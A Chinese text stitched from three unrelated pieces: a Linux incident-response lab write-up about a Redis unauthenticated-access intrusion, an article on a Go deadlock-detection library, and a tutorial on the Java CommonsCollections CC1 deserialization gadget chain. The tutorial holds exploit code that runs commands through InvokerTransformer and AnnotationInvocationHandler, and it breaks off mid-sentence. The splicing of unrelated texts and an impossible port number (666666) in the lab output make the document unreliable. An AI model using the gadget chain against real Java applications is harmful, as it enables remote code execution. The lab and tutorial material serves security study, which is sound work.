2024年3月

靶机来源: 知攻善防实验室公众号
https://mp.weixin.qq.com/s/gCWGnBiwbqSnafXU1apJCA
我是在另一台主机上通过ssh连接到靶机进行解题的,以下为解题记录。

背景

前景需要:小王急匆匆地找到小张,小王说"李哥,我dev服务器被黑了",快救救我!!
挑战内容:
(1)黑客的IP地址
(2)遗留下的三个flag

解题

首先查看当前主机最近的用户登录情况,如何黑客成功登录,那么可以查到成功登录的记录。

[root@localhost defend]# grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'
Mar 18 20:23:07 root 192.168.75.129
Mar 20 14:28:21 defend 192.168.1.104

此处可以看到3月18日,root用户进行了登录,IP地址为
192.168.75.129
,该IP可能就是黑客的IP地址。

IP正确,接着看看有没有黑客新增的用户。

[root@localhost defend]# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
libstoragemgmt:x:998:996:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
colord:x:997:995:User for colord:/var/lib/colord:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
saned:x:996:993:SANE scanner daemon user:/usr/share/sane:/sbin/nologin
saslauth:x:995:76:Saslauthd user:/run/saslauthd:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
setroubleshoot:x:994:991::/var/lib/setroubleshoot:/sbin/nologin
rtkit:x:172:172:RealtimeKit:/proc:/sbin/nologin
pulse:x:171:171:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
chrony:x:993:988::/var/lib/chrony:/sbin/nologin
unbound:x:992:987:Unbound DNS resolver:/etc/unbound:/sbin/nologin
radvd:x:75:75:radvd user:/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin
geoclue:x:991:985:User for geoclue:/var/lib/geoclue:/sbin/nologin
qemu:x:107:107:qemu user:/:/sbin/nologin
gluster:x:990:984:GlusterFS daemons:/run/gluster:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
gnome-initial-setup:x:989:983::/run/gnome-initial-setup/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
defend:x:1000:1000:defend:/home/defend:/bin/bash
redis:x:988:982:Redis Database Server:/var/lib/redis:/sbin/nologin

这里好像没有看到可疑用户,接着看看有没有可疑的进程

[root@localhost defend]# ps -aux
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          1  0.3  0.1 193824  7000 ?        Ss   14:25   0:03 /usr/lib/systemd/systemd --switched-root --system --deserialize 22
root          2  0.0  0.0      0     0 ?        S    14:25   0:00 [kthreadd]
root          4  0.0  0.0      0     0 ?        S<   14:25   0:00 [kworker/0:0H]
root          6  0.0  0.0      0     0 ?        S    14:25   0:00 [ksoftirqd/0]
root          7  0.0  0.0      0     0 ?        S    14:25   0:00 [migration/0]
root          8  0.0  0.0      0     0 ?        S    14:25   0:00 [rcu_bh]
root          9  0.0  0.0      0     0 ?        S    14:25   0:00 [rcu_sched]
root         10  0.0  0.0      0     0 ?        S<   14:25   0:00 [lru-add-drain]
root         11  0.0  0.0      0     0 ?        S    14:25   0:00 [watchdog/0]
root         12  0.0  0.0      0     0 ?        S    14:25   0:00 [watchdog/1]
root         13  0.0  0.0      0     0 ?        S    14:25   0:00 [migration/1]
root         14  0.3  0.0      0     0 ?        S    14:25   0:03 [ksoftirqd/1]
root         15  0.0  0.0      0     0 ?        S    14:25   0:00 [kworker/1:0]
root         16  0.0  0.0      0     0 ?        S<   14:25   0:00 [kworker/1:0H]
root         17  0.0  0.0      0     0 ?        S    14:25   0:00 [watchdog/2]
root         18  0.0  0.0      0     0 ?        S    14:25   0:00 [migration/2]
root         19  0.0  0.0      0     0 ?        S    14:25   0:00 [ksoftirqd/2]
......
......
......
defend     3164  0.0  0.0 160988  2520 ?        S    14:28   0:00 sshd: defend@pts/0
defend     3174  0.0  0.0 116328  2848 pts/0    Ss   14:28   0:00 -bash
root       3300  0.0  0.1 231952  3928 pts/0    S    14:28   0:00 su
root       3319  0.0  0.0 116324  2880 pts/0    S    14:28   0:00 bash
root       3717  0.0  0.0      0     0 ?        S    14:30   0:00 [kworker/2:0]
root       3830  0.0  0.0      0     0 ?        S    14:31   0:00 [kworker/0:0]
defend     3919  0.2  0.8 697416 31464 ?        Sl   14:31   0:00 /usr/libexec/gnome-terminal-server
defend     3925  0.0  0.0   8536   724 ?        S    14:31   0:00 gnome-pty-helper
defend     3926  0.0  0.0 116444  2932 pts/1    Ss   14:31   0:00 bash
defend     4011  0.0  0.0 116444  1916 pts/1    S+   14:31   0:00 bash
root       4094  0.0  0.0      0     0 ?        S    14:35   0:00 [kworker/2:2]
root       4104  0.0  0.0      0     0 ?        S    14:36   0:00 [kworker/0:1]
root       4133  0.0  0.0 108052   352 ?        S    14:38   0:00 sleep 60
root       4134  0.0  0.0 157532  1900 pts/0    R+   14:39   0:00 ps -aux

也没有看到可疑的进程,那就看看黑客登录成功之后都执行过什么命令

[root@localhost defend]# history
    1  ls
    2  chmod +x /etc/rc.d/rc.local
    3  cat /etc/rc.d/rc.local
    4  vim /etc/rc.d/rc.local 
    5  echo flag{thisismybaby}
    6  exit
    7  grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'
    8  cat /etc/passwd
    9  netstat -anltup
   10  ps -aux
   11  history

这里直接发现了第一个flag:
flag{thisismybaby}

除此之外,还发现黑客编辑了开机启动文件
rc.local
,查看一下这个文件

[root@localhost defend]# cat /etc/rc.d/rc.local
#!/bin/bash
# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
#
# It is highly advisable to create own systemd services or udev rules
# to run scripts during boot instead of using this file.
#
# In contrast to previous versions due to parallel execution during boot
# this script will NOT be run after all other services.
#
# Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
# that this script will be executed during boot.


# flag{kfcvme50}


touch /var/lock/subsys/local

在该文件中发现了第二个flag:
flag{kfcvme50}

按照黑客的攻击思路,此时黑客已经拿到了root用户权限并且可以实现权限维持。那么第三个flag应该不会在计划任务中,而是在黑客打进来的地方。
那么黑客是怎么打进来的?
此时,想到了刚才查看
passwd
文件时,最后一个用户是
redis
用户,说明该机器上存在
redis
服务,于是查看网络连接,看看
6379
端口是否开放。

[root@localhost defend]# netstat -anltup
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      1291/master         
tcp        0      0 0.0.0.0:666666             0.0.0.0:*               LISTEN      761/rpcbind         
tcp        0      0 192.168.122.1:53        0.0.0.0:*               LISTEN      1703/dnsmasq        
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1089/sshd           
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      1092/cupsd          
tcp        0      0 192.168.1.105:22        192.168.1.104:59096     ESTABLISHED 3160/sshd: defend [ 
tcp6       0      0 ::1:25                  :::*                    LISTEN      1291/master         
tcp6       0      0 :::666666                  :::*                    LISTEN      761/rpcbind         
tcp6       0      0 :::22                   :::*                    LISTEN      1089/sshd           
tcp6       0      0 ::1:631                 :::*                    LISTEN      1092/cupsd          
udp        0      0 192.168.122.1:53        0.0.0.0:*                           1703/dnsmasq        
udp        0      0 0.0.0.0:67              0.0.0.0:*                           1703/dnsmasq        
udp        0      0 0.0.0.0:68              0.0.0.0:*                           3052/dhclient       
udp        0      0 0.0.0.0:666666             0.0.0.0:*                           761/rpcbind         
udp        0      0 127.0.0.1:323           0.0.0.0:*                           821/chronyd         
udp        0      0 0.0.0.0:914             0.0.0.0:*                           761/rpcbind         
udp        0      0 0.0.0.0:56315           0.0.0.0:*                           802/avahi-daemon: r 
udp        0      0 0.0.0.0:5353            0.0.0.0:*                           802/avahi-daemon: r 
udp6       0      0 :::666666                  :::*                                761/rpcbind         
udp6       0      0 ::1:323                 :::*                                821/chronyd         
udp6       0      0 :::914                  :::*                                761/rpcbind 

没有发现
6379
端口,那么先运行该服务。

[root@localhost defend]# redis-server 
4368:C 20 Mar 14:55:04.305 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf
4368:M 20 Mar 14:55:04.306 * Increased maximum number of open files to 10032 (it was originally set to 1024).
                _._                                                  
           _.-``__ ''-._                                             
      _.-``    `.  `_.  ''-._           Redis 3.2.12 (00000000/0) 64 bit
  .-`` .-```.  ```\/    _.,_ ''-._                                   
 (    '      ,       .-`  | `,    )     Running in standalone mode
 |`-._`-...-` __...-.``-._|'` _.-'|     Port: 6379
 |    `-._   `._    /     _.-'    |     PID: 4368
  `-._    `-._  `-./  _.-'    _.-'                                   
 |`-._`-._    `-.__.-'    _.-'_.-'|                                  
 |    `-._`-._        _.-'_.-'    |           http://redis.io        
  `-._    `-._`-.__.-'_.-'    _.-'                                   
 |`-._`-._    `-.__.-'    _.-'_.-'|                                  
 |    `-._`-._        _.-'_.-'    |                                  
  `-._    `-._`-.__.-'_.-'    _.-'                                   
      `-._    `-.__.-'    _.-'                                       
          `-._        _.-'                                           
              `-.__.-'                                               

4368:M 20 Mar 14:55:04.309 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.
4368:M 20 Mar 14:55:04.309 # Server started, Redis version 3.2.12
4368:M 20 Mar 14:55:04.309 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
4368:M 20 Mar 14:55:04.309 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.
4368:M 20 Mar 14:55:04.310 * DB loaded from disk: 0.001 seconds
4368:M 20 Mar 14:55:04.310 * The server is now ready to accept connections on port 6379

redis
运行起来之后,需要进行登录,但是不知道密码,那就先尝试一下
redis
未授权。

[root@localhost defend]# redis-cli -h 127.0.0.1
127.0.0.1:6379> 

直接登录成功,那么黑客应该是通过
redis
未授权打进来的,看看
/root/.ssh
下有没有被写入ssh密钥

[root@localhost .ssh]# pwd
/root/.ssh
[root@localhost .ssh]# ls -liah
total 4.0K
51847075 drwxr-xr-x. 2 root root  29 Mar 18 20:22 .
33582977 dr-xr-x---. 7 root root 265 Mar 18 20:25 ..
51847076 -rw-r--r--. 1 root root 661 Mar 18 20:22 authorized_keys
[root@localhost .ssh]# cat authorized_keys 
REDIS0007�      redis-ver3.2.12�
redis-bits�@�ctime�2�eused-mem��h
                                 ��TJB=


ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAWLnUKcX0Wpd0/BDBwd6CKVb3MP9PmUwpnyIxRP3HbB7peiimjN1p6pmSHGU0NOszENTgCUGvesgwzNeG3yA/hTJOTWbHvV9Yp3ZsVPAC1JnptEWhNLbPjQjHyp/4o3H1aaFavtqrcOkFnd0/RxCYBZm8ZSEBEIV2QnN2c3ovrTYzKWDNCVJ/XM8db4i33sSpCVUJeZtBw0j3exSIpyJrxplYVDOlpY38UKuWptbAU5BdDDXPcaBLLK3TuXk2OUCBU+A6oTj9AOWgKkLfREYFavTWrifbrTrZ3nfL+YjHXS9IHoi4JKKUXoI/9yKXIIf2c7O6zoPy992nKV00wfe0TP7xEyKrrQVEitMkEAdyfyiMQ5wf9whl5xNPYrDwqO1fIzz1cUtf0UwPJ3hD6QT48PHxu9+L4heLd1J7YnwOn5l15/5CtIwkNDn035ZQq22PkhO7w02lrSBYWcT5XB2J8k/RrWwOu5u4Yi+fEPyQchXsoitcuDHMX/iPxnJOQO0= chinaran@kali



�nh����[root@localhost .ssh]# 

到此,推测黑客是通过
redis
未授权写入ssh密钥进行登录,然后通过写入开机启动文件进行权限维持。
接着来寻找第三个flag。到此,由于我比较菜就没啥思路了,于是就看看有哪些文件被修改过。

[root@localhost .ssh]# rpm -Vf /usr/bin/*
file /usr/bin/alt-java is not owned by any package
SM5....T.  c /etc/rc.d/rc.local
SM5....T.  c /etc/rc.d/rc.local
file /usr/bin/ControlPanel is not owned by any package
SM5....T.  c /etc/rc.d/rc.local
SM5....T.  c /etc/rc.d/rc.local
file /usr/bin/itweb-settings is not owned by any package
file /usr/bin/java is not owned by any package
file /usr/bin/javaws is not owned by any package
SM5....T.  c /etc/rc.d/rc.local
SM5....T.  c /etc/rc.d/rc.local
file /usr/bin/keytool is not owned by any package
SM5....T.  c /etc/rc.d/rc.local
SM5....T.  c /etc/rc.d/rc.local
SM5....T.  c /etc/rc.d/rc.local
file /usr/bin/orbd is not owned by any package
file /usr/bin/pack200 is not owned by any package
file /usr/bin/policyeditor is not owned by any package
file /usr/bin/policytool is not owned by any package
missing     /var/run/pulse
file /usr/bin/readcd is not owned by any package
S.5....T.  c /etc/redis.conf
S.5....T.  c /etc/redis.conf
S.5....T.  c /etc/redis.conf
S.5....T.  c /etc/redis.conf
S.5....T.  c /etc/redis.conf
S.5....T.  c /etc/redis.conf
file /usr/bin/rmid is not owned by any package
file /usr/bin/rmiregistry is not owned by any package
file /usr/bin/servertool is not owned by any package
SM5....T.  c /etc/rc.d/rc.local

从上面看到
redis
的配置文件
/etc/redis.conf
被修改过,打开看看

[root@localhost defend]# cat /etc/redis.conf 
# flag{P@ssW0rd_redis}
# Redis configuration file example.
#
# Note that in order to read the configuration file, Redis must be
# started with the file path as first argument:
#
# ./redis-server /path/to/redis.conf

# Note on units: when memory size is needed, it is possible to specify
# it in the usual form of 1k 5GB 4M and so forth:
#
# 1k => 1000 bytes
# 1kb => 1024 bytes
# 1m => 1000000 bytes
# 1mb => 1024*1024 bytes
# 1g => 1000000000 bytes
# 1gb => 1024*1024*1024 bytes
#
# units are case insensitive so 1GB 1Gb 1gB are all the same.

直接在第一行看到了第三个flag:
flag{P@ssW0rd_redis}

至此,就拿到了三个flag。

当运行的系统发生goroutine等待获取锁时间超过预期时,判定为发生了死锁。因目前代码中使用了一些公开的锁实例,调用链也比较长,对问题排查带来了很大困扰。为了便于问题排查,需要借助工具来实现。

1. 发生死锁的判定依据和原因

1.1 判定依据

如下为使用Mutex锁产生的锁等待,并持续了222分钟。这类不合理现象,就判定为发生了死锁。(以下为cpu-pprof导出的stack信息)

goroutine 61508 [semacquire, 222 minutes]:
sync.runtime_SemacquireMutex(0xc00048f564, 0x4f4300, 0x1)
    /opt/go/src/runtime/sema.go:71 +0x47
sync.(*Mutex).lockSlow(0xc00048f560)
    /opt/go/src/sync/mutex.go:138 +0x105
sync.(*Mutex).Lock(...)
    /opt/go/src/sync/mutex.go:81
......

1.2 产生死锁的原因

  • 锁重入

  • 多把锁加锁,并发访问时加锁顺序不一致

  • 锁未释放

2. 死锁问题诊断

常用的标准库锁:
sync.Mutex
,
sync.RWMutex
,目标暂定为以检测这两类锁的死锁问题。

检测死锁的方法:分为静态代码分析、运行期分析。

2.1 静态代码分析

  • 优势:

    可以做到场景全覆盖。

  • 劣势:

    好像没有劣势,但开发难度较高,目前发现的一个开源工具
    go-tools
    ,验证下来无法检测互锁问题,但可以检测锁未释放的问题。

2.2 运行期分析

  • 优势:

    可以快速定位问题,检测相对容易。

  • 劣势:

    对代码有侵入性,需要封装标准库的锁,对性能会有一定影响,应采取条件编译方式,生产环境勿启用。

3. 运行期分析工具开发

3.1 目标

  • 支持 Mutex 和 RWMutex

  • 支持锁重入、互锁问题的检测

3.2 用法

import (
    "github.com/berkaroad/detectlock-go"
)

// 应用启动时,设置启用调试
detectlock.EnableDebug()

// 声明 sync.Mutex、sync.RWMutex 替换为 detectlock.Mutex、detectlock.RWMutex
var locker1 *detectlock.Mutex = &detectlock.Mutex{}
var locker2 *detectlock.RWMutex = &detectlock.RWMutex{}

// 异步检测死锁
items := detectlock.Items()
fmt.Println(detectlock.DetectAcquired(items)) // 检测获得锁的goroutine列表
fmt.Println(detectlock.DetectReentry(items)) // 检测锁重入的goroutine列表
fmt.Println(detectlock.DetectLockedEachOther(items)) // 检测互锁的goroutine列表

// 关闭调试,并清理锁使用信息
detectlock.DisableDebug()

3.3 死锁示例数据

  • 检测 sync.Mutex 多把锁顺序不一致导致的互锁
--- DetectAcquired ---
goroutine 29: [(0xc0000b4008, acquired, main.B (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex01/main.go:30)), (0xc0000b4000, wait, main.B (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex01/main.go:33))]
goroutine 30: [(0xc0000b4000, acquired, main.A (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex01/main.go:20)), (0xc0000b4008, wait, main.A (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex01/main.go:23))]

--- DetectLockedEachOther ---
goroutine 29: [(0xc0000b4008, acquired, main.B (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex01/main.go:30)), (0xc0000b4000, wait, main.B (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex01/main.go:33))]
goroutine 30: [(0xc0000b4000, acquired, main.A (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex01/main.go:20)), (0xc0000b4008, wait, main.A (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex01/main.go:23))]

  • 检测 sync.Mutex 锁重入
--- DetectAcquired ---
goroutine 53: [(0xc0000160b8, acquired, main.C (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex02/main.go:19)), (0xc0000160b8, wait, main.C (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex02/main.go:22))]

--- DetectReentry ---
goroutine 53: [(0xc0000160b8, acquired, main.C (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex02/main.go:19)), (0xc0000160b8, wait, main.C (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex02/main.go:22))]

  • 检测 sync.Mutex、sync.RWMutex 多把锁顺序不一致导致的互锁
--- DetectAcquired ---
goroutine 8: [(0xc0000180c0, r-acquired, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:21)), (0xc0000160b8, wait, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:24))]
goroutine 10: [(0xc0000180c0, r-acquired, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:21)), (0xc0000160b8, wait, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:24))]
goroutine 13: [(0xc0000160b8, acquired, main.E (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:30)), (0xc0000180c0, wait, main.E (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:33))]
goroutine 14: [(0xc0000180c0, r-acquired, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:21)), (0xc0000160b8, wait, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:24))]
goroutine 16: [(0xc0000180c0, r-acquired, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:21)), (0xc0000160b8, wait, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:24))]
goroutine 50: [(0xc0000180c0, r-acquired, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:21)), (0xc0000160b8, wait, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:24))]
goroutine 52: [(0xc0000180c0, r-acquired, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:21)), (0xc0000160b8, wait, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:24))]
goroutine 54: [(0xc0000180c0, r-acquired, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:21)), (0xc0000160b8, wait, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:24))]
goroutine 56: [(0xc0000180c0, r-acquired, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:21)), (0xc0000160b8, wait, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:24))]
goroutine 58: [(0xc0000180c0, r-acquired, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:21)), (0xc0000160b8, wait, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:24))]

--- DetectLockedEachOther ---
goroutine 8: [(0xc0000180c0, r-acquired, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:21)), (0xc0000160b8, wait, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:24))]
goroutine 10: [(0xc0000180c0, r-acquired, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:21)), (0xc0000160b8, wait, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:24))]
goroutine 13: [(0xc0000160b8, acquired, main.E (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:30)), (0xc0000180c0, wait, main.E (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:33))]
goroutine 14: [(0xc0000180c0, r-acquired, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:21)), (0xc0000160b8, wait, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:24))]
goroutine 16: [(0xc0000180c0, r-acquired, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:21)), (0xc0000160b8, wait, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:24))]
goroutine 50: [(0xc0000180c0, r-acquired, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:21)), (0xc0000160b8, wait, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:24))]
goroutine 52: [(0xc0000180c0, r-acquired, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:21)), (0xc0000160b8, wait, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:24))]
goroutine 54: [(0xc0000180c0, r-acquired, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:21)), (0xc0000160b8, wait, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:24))]
goroutine 56: [(0xc0000180c0, r-acquired, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:21)), (0xc0000160b8, wait, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:24))]
goroutine 58: [(0xc0000180c0, r-acquired, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:21)), (0xc0000160b8, wait, main.D (file: /home/berkaroad/github/berkaroad/detectlock-go/examples/mutex03/main.go:24))]

---------------------------------分割线-------------------------------------------------------------

我的
detectlock-go项目: https://github.com/berkaroad/detectlock-go
,已经挂在github上,有兴趣的可以去了解下。

使用中有何问题,欢迎在github上给我提issue,谢谢!

CC链全称CommonsCollections(Java常用的一个库)

梦的开始CC1

环境部署

JDK版本:jdk8u65
Maven依赖:

<dependencies>
        <!-- https://mvnrepository.com/artifact/junit/junit -->
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.11</version>
            <scope>test</scope>
        </dependency>

        <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
</dependencies>

流程分析

入口:
org.apache.commons.collections.Transformer
,transform方法有21种实现

入口类:
org.apache.commons.collections.functors.InvokerTransformer
,它的transform方法使用了反射来调用input的方法,input,iMethodName,iParamTypes,iArgs都是可控的

首先先尝试直接利用invoketransformer来执行命令

package com.f12;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1 {
    public static void main(String[] args) {
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());
    }
}

成功执行命令

现在的重点就是去找一个其它的类有transform方法,并且传入的Object是可控的,然后我们只要把这个Object设为InvokeTransformer即可,我们全局搜索transform方法,能够发现很多类都是有transform方法的,我们这里先研究的是CC1,所以我们直接看
TransformerMap



TransformedMap
中的checkSetValue方法中调用了transform,valueTransformer是构造的时候赋的值,再看构造函数

构造函数是一个protected,所以不能让我们直接实例赋值,只能是类内部构造赋值,找哪里调用了构造函数

一个静态方法,这里我们就能控制参数了

现在调用transform方法的问题解决了,返回去看checkSetValue,可以看到value我们暂时不能控制,全局搜索checkSetValue,看谁调用了它,并且value值可受控制,在
AbstractInputCheckedMapDecorator
类中发现,凑巧的是,它刚好是
TransformedMap
的父类


在这里假如对Java集合熟悉一点的人看到了
setValue
字样就应该想起来,我们在遍历集合的时候就用过
setValue

getValue
,所以我们只要对
decorate
这个map进行遍历setValue,由于
TransformedMap
继承了
AbstractInputCheckedMapDecorator
类,因此当调用setValue时会去父类寻找,写一个demo来测试一下:

package com.f12;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("1","2");
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
        for(Map.Entry entry:decorate.entrySet()){
            entry.setValue(r);
        }
    }
}

成了

我们追踪一下setValue看是在哪调用的,在
AnnotationInvocationHandler
中找到,而且还是在重写的readObject中调用的setValue,这还省去了再去找readObject

  private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }
}

我们分析下
AnnotationInvocationHandler
这个类,未用public声明,说明只能通过反射调用

查看一下构造方法,传入一个Class和Map,其中Class继承了Annotation,也就是需要传入一个注解类进去,这里我们选择Target,之后说为什么

构造exp:

package com.f12;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("1","2");
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
//        for(Map.Entry entry:decorate.entrySet()){
//            entry.setValue(r);
//        }
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, decorate);
    }
}

现在有个难题是Runtime类是不能被序列化的,但是反射来的类是可以被序列化的,还好
InvokeTransformer
